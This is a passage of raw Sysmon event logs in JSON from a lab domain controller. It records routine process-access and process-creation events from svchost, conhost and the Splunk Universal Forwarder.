{90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:29.433","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3504,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:29.433\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:29.433","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3505,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:29.433\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:29.433","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3506,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:29.433\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:29.433","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3507,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:29.433\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:29.433","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3508,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:29.433\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:29.433","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3509,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:29.433\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-001095160500}\r\nSourceProcessId: 664\r\nSourceThreadId: 2796\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-407D-5F2D-0000-0010AA390500}\r\nTargetProcessId: 4452\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:29.433","SourceProcessGUID":"{90617006-407B-5F2D-0000-001095160500}","SourceProcessId":"664","SourceThreadId":"2796","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-407D-5F2D-0000-0010AA390500}","TargetProcessId":"4452","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3510,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:29.667\r\nSourceProcessGUID: {90617006-407D-5F2D-0000-0010AA390500}\r\nSourceProcessId: 4452\r\nSourceThreadId: 4204\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\r\nTargetProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nTargetProcessId: 5056\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nGrantedAccess: 0x101400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+116e675|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+116e1a6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+f344c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+f2a91|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+19fdb50|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:29.667","SourceProcessGUID":"{90617006-407D-5F2D-0000-0010AA390500}","SourceProcessId":"4452","SourceThreadId":"4204","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE","TargetProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","TargetProcessId":"5056","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","GrantedAccess":"0x101400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+116e675|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+116e1a6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+f344c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+f2a91|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+19fdb50|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":3511,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:29.721\r\nProcessGuid: {90617006-407D-5F2D-0000-0010363D0500}\r\nProcessId: 884\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nFileVersion: 8.0.2\r\nDescription: splunkd service\r\nProduct: splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: splunkd.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd\" check-transforms-keys\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=B6D66AB97239BFB32F1CC9B8BFE1B4E0,SHA256=9D5EC3AA587B29840BE53E8E11B1C3BFE2FA3413DD65459325CBEEAFA66D3975,IMPHASH=CD69F86EE9B3C12390F5C7499BD3A589\r\nParentProcessGuid: {90617006-407C-5F2D-0000-001033280500}\r\nParentProcessId: 4352\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\" _internal pre-flight-checks --answer-yes --no-prompt ","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:52:29.721","ProcessGuid":"{90617006-407D-5F2D-0000-0010363D0500}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","FileVersion":"8.0.2","Description":"splunkd service","Product":"splunk Application","Company":"Splunk Inc.","OriginalFileName":"splunkd.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd\" check-transforms-keys","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=B6D66AB97239BFB32F1CC9B8BFE1B4E0,SHA256=9D5EC3AA587B29840BE53E8E11B1C3BFE2FA3413DD65459325CBEEAFA66D3975,IMPHASH=CD69F86EE9B3C12390F5C7499BD3A589","ParentProcessGuid":"{90617006-407C-5F2D-0000-001033280500}","ParentProcessId":"4352","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe","ParentCommandLine":"\"C:\\Program 